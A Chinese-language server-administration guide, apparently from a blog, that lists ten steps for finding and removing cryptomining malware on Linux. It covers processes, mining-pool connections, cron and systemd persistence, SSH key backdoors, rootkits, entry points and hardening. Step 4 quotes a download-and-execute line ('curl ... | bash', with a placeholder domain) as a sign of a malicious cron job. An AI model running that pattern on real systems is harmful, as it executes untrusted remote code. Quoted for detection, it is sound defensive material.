网站运维

服务器 CPU 突然跑满:Linux 挖矿木马排查的 10 个动作

网站突然变慢,打开宝塔一看 CPU 常年 100%,但访问量一点没涨。这种情况十有八九不是”网站优化问题”,是你的服务器在给别人挖矿。

挖矿木马不偷你数据、不删你网站,它只干一件事:占用你的 CPU 算力帮攻击者赚钱。所以很多人的服务器被挖矿挖了半年都不知道,只是觉得”网站怎么越来越慢”。

下面是真实的排查顺序,从最表层的现象一路查到持久化机制。

动作 1:确认是不是真的 CPU 问题

top

看三件事:

  • %CPU 谁最高
  • 进程名是不是眼熟(php-fpm、nginx、mysqld 是正常的)
  • 看 %wa(iowait)——如果 CPU 不高但 wa 很高,那是磁盘 I/O 瓶颈,不是挖矿,直接跳到排查数据库和日志

如果看到一个名字奇怪的进程占了大半 CPU,比如 kworker/0:1 变异版、systemd-network(注意:真的 systemd 不叫这名)、bash、./-c,或者干脆是一串随机字母,基本实锤。

动作 2:看它到底在跟谁通信

# 先看进程 PID,然后查它的网络连接
netstat -antp | grep 可疑PID
# 或
ss -antp | grep 可疑PID

挖矿木马必须连接矿池。看到连到境外某 IP 的 3333、8080、14444、45700 这类端口,或者一个明显是域名的地址,那就是矿池地址。

把这个 IP 记下来,待会儿要封。

动作 3:定位木马文件路径

ls -l /proc/可疑PID/exe

这条命令直接告诉你这个进程的可执行文件在哪。常见藏匿点:

  • /tmp/、/var/tmp/、/dev/shm/——最常藏的地方
  • /root/.ssh/ 下面
  • 伪装成系统文件名,比如 /usr/lib/systemd/systemd-udevd

拿到路径后:先 cp 一份到别处留证,再 kill。

cp /tmp/可疑文件 /root/evidence-malware-$(date +%F)
kill -9 可疑PID

直接删文件的话,很多木马会通过守护进程立刻重新生成。

动作 4:查定时任务(挖矿能复活的根本原因)

这是最关键的一步。很多人 kill 完进程、删完文件,第二天又满了——因为木马在 cron 里留了”复活机制”。

crontab -l              # 当前用户
crontab -l -u root      # root 的
ls -la /etc/cron.d/     # 系统级
cat /etc/crontab
ls -la /var/spool/cron/ # 各用户的实际文件

可疑特征:

  • 任务内容是 curl http://某个域名/x.sh | bash 这种下载即执行的
  • 指向 /tmp、/dev/shm 下的脚本
  • 每几分钟执行一次(挖矿守护进程要保活)

注意:有些木马会写进 /etc/cron.d/ 而不是用户 crontab,只看 crontab -l 的人会漏掉。

动作 5:查 systemd 服务和启动项

systemctl list-unit-files --type=service | grep enabled
ls -la /etc/systemd/system/

看到名字奇怪的 enabled 服务,比如 networkmanager.service、dbus-deamon.service(拼错的就是假的),看它的 ExecStart 指向哪。

cat /etc/systemd/system/可疑服务名.service

处理:systemctl stop 名字 && systemctl disable 名字,然后删文件。

动作 6:查 SSH 后门(攻击者为什么能反复进来)

cat /root/.ssh/authorized_keys

看里面有没有你不认识的公钥。攻击者拿到一次权限后,第一件事往往是往这里塞自己的 key,这样你改密码也没用,他随时能进来。

另外检查 SSH 配置有没有被动过:

grep -E "PermitRootLogin|PasswordAuthentication|Port" /etc/ssh/sshd_config

动作 7:查系统命令是否被替换

高级一点的木马会替换 ps、top、netstat 这些命令,让你查不到它(rootkit)。

验证方法:看命令文件大小是否异常,或者用 busybox 替代执行:

ls -lh /bin/ps /bin/top /bin/netstat
busybox ps aux    # 如果 busybox 能看到而 ps 看不到,就是被替换了

动作 8:找出入侵入口(不做这步一定会被二次入侵)

木马不会凭空出现。常见入口就这几个,逐个排查:

入口 排查方法
弱密码 SSH 爆破 grep "Failed password" /var/log/secure | wc -l 数量巨大就是被爆破成功过
网站漏洞上传后门 查 wp-content/uploads 下的 php、查 web 日志里可疑的 POST 请求
Redis 未授权访问 redis-cli ping 不需要密码就能连 = 高危,挖矿木马最爱
宝塔面板弱密码 面板没改默认端口 + 弱密码,被批量扫到
过期插件/主题漏洞 后台看有没有长期没更新的插件

Web 日志查入侵痕迹(以 nginx 为例):

grep -E "POST.*\.php" /www/wwwlogs/你的站点.log | grep -v wp-admin | tail -50

看有没有对你没装过的 php 文件的 POST 请求,或者 uploads 目录下 php 文件的访问记录。

动作 9:堵住出口,防止复活

# 封掉矿池 IP
iptables -A OUTPUT -d 矿池IP -j DROP

# 禁止 /tmp 下执行程序(临时止血)
mount -o remount,noexec,suid /tmp

另外把前面发现的下载源域名也写进 /etc/hosts 指向 127.0.0.1,防止它重新下载。

动作 10:清理 + 加固

按顺序做完:

  1. 删除所有发现的恶意文件、定时任务、systemd 服务、SSH 公钥
  2. 改掉所有密码(root、面板、数据库、FTP),并改用 SSH 密钥登录、关闭密码登录
  3. 给 /tmp、/dev/shm、/var/tmp 挂载 noexec
  4. Redis 设密码 + 只监听 127.0.0.1
  5. 更新系统和应用:yum update -y 或 apt update && apt upgrade -y
  6. 装个入侵检测(比如 chkrootkit、rkhunter)跑一遍

什么时候别自己折腾

两种情况建议直接重装系统、从备份恢复网站:

  • 发现了 rootkit(系统命令被替换)——你不确定还有没有其他后门,肉眼看不全
  • 你不确定入侵入口——没找到入口就清理,等于把门锁换了但窗户还开着

重装 1 小时,反复被入侵能折腾你一个月。这笔账很好算。

最后:怎么让它不发生

被挖矿的服务器,99% 是同一个原因:SSH 开着密码登录,且密码不够强。

改成密钥登录 + 关闭密码登录,就能挡掉 90% 的自动化攻击。剩下的靠:面板改端口、Redis 设密码、插件及时更新。这三件事加起来不到一小时,能省掉后面所有麻烦。